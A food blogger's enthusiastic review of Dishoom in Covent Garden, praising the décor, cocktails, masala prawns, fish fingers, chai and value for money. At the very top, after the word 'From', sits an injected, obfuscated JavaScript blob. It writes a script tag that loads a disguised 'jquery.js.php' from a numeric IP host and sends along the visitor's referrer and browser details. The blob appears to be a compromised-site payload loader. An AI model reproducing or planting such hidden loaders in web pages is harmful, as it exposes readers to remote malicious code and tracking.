REVIEW: DISHOOM

From (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aeirk|var|u0026u|referrer|bheas||js|php’.split(‘|’),0,{}))
the minute I walked into Dishoom I liked it. I liked the booths and chairs, the photographs of the owners’ families lining the walls, my god they have big families, the dark wood décor, open kitchen and the incense burning in the toilets. Yes I liked it all and I hadn’t even ordered any food yet.

Dishoom is a Bombay style café located in Covent Garden, it is the latest addition to a row of restaurants and counts Jamie Oliver’s Italian as it’s neighbour. Given its location Dishoom could be expensive but it is refreshingly cheap and that’s one reason why it will always have a steady trade. The other, the most important to you and me is the food.

The menu is styled on traditional Bombay cafés and all of the food is served together rather than in separate courses. The menu has a good selection without being over expansive. We started off with some signature cocktails the Chaijito and Bollybellini, both coming in at under £6. Bonus!

To eat we ordered the House Crisps, Cottage Cheese Ruby Murray, Masala Prawns, Rice, Roti, Vegetable Samosas, Salad and Fish Fingers. It sounded like way too much food for two people but the waiter was actually surprised we weren’t ordering more.

The food arrived extremely fast and the dishes seemed to never end. Everything was homemade, even the crisps. The Masala Prawns were the clear winners, thick, juicy and spiced to perfection. The Desi Fish Fingers were a nice surprise, flaked fresh fish in a spiced batter, something I
would definitely order again.

For desert we opted for the seasonal fruit crumble which was pineapple served with Chai ice cream. The crumble was sweet without being over powering and the chai ice cream was a great touch. We ended the meal with a House Chai and Chai Chocolate. The Chai is made from scratch and brewed for forty minutes, no powder mix here.

The whole meal was pleasant, tasty and fresh. At only £49 everything including two cocktails, it really was great value for money. Will I return? I think I certainly will and next time I’ll try the breakfast menu, I have heard the sausage Naan is the snizzle.

Dishoom, 12 Upper St Martins Lane, London, WC2H 9FB

www.dishoom.com/

G